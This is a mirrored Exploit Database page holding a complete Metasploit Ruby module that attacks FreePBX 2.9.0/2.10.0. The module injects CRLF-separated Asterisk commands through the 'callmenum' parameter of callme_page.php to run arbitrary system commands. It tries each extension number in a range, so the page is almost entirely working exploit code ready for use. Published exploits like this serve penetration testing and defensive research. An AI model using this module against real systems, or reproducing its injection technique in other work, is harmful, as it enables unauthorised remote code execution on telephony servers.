FreePBX 2.9.0/2.10.0 – ‘callmenum’ Remote Code Execution (Metasploit)

• Exploit Database
• 9 阅读

• 作者： Metasploit
  日期： 2012-03-24
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/18659/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ManualRanking
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'FreePBX 2.10.0 / 2.9.0 callmenum Remote Code Execution',
  			'Description'=> %q{
  				This module exploits FreePBX version 2.10.0,2.9.0 and possibly older.
  				Due to the way callme_page.php handles the 'callmenum' parameter, it
  				is possible to inject code to the '$channel' variable in function
  				callme_startcall in order to gain remote code execution.
  
  				Please note in order to use this module properly, you must know the
  				extension number, which can be enumerated or bruteforced, or you may
  				try some of the default extensions such as 0 or 200.Also, the call
  				has to be answered (or go to voice).
  
  				Tested on both Elastix and FreePBX ISO image installs.
  			},
  			'Author' => [ 'muts','Martin Tschirsich' ],
  			'License'=> MSF_LICENSE,
  			'References' =>
  				[
  					[ 'URL', 'http://www.exploit-db.com/exploits/18649/' ]
  				],
  			'Platform' => ['unix'],
  			'Arch' => ARCH_CMD,
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'Space' => 1024,
  					'DisableNops' => true,
  				},
  			'Targets'=>
  				[
  					[ 'Automatic Target', { }]
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Mar 20 2012'))
  
  		register_options(
  			[
  				OptString.new("EXTENSION", [ true, "A range of Local extension numbers", "0-100" ]),
  			], self.class)
  	end
  
  	def exploit
  		# Check range input
  		if datastore['EXTENSION'] =~ /^(\d+)\-(\d+)$/
  			min = $1.to_i
  			max = $2.to_i
  		else
  			print_error("Please specify a range for option 'EXTENSION'")
  			return
  		end
  
  		cmd = Rex::Text.uri_encode(payload.encoded)
  
  		(min..max).each do |e|
  			connect
  			print_status("#{rhost}:#{rport} - Sending evil request with range #{e.to_s}")
  			res = send_request_raw({
  				'method' => 'GET',
  				'uri' => "/recordings/misc/callme_page.php?action=c&callmenum="+e.to_s+"@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20#{cmd}%0D%0A%0D%0A",
  				'version' => '1.0',
  				'vhost' => rhost
  			})
  			handler
  			disconnect
  		end
  	end
  
  end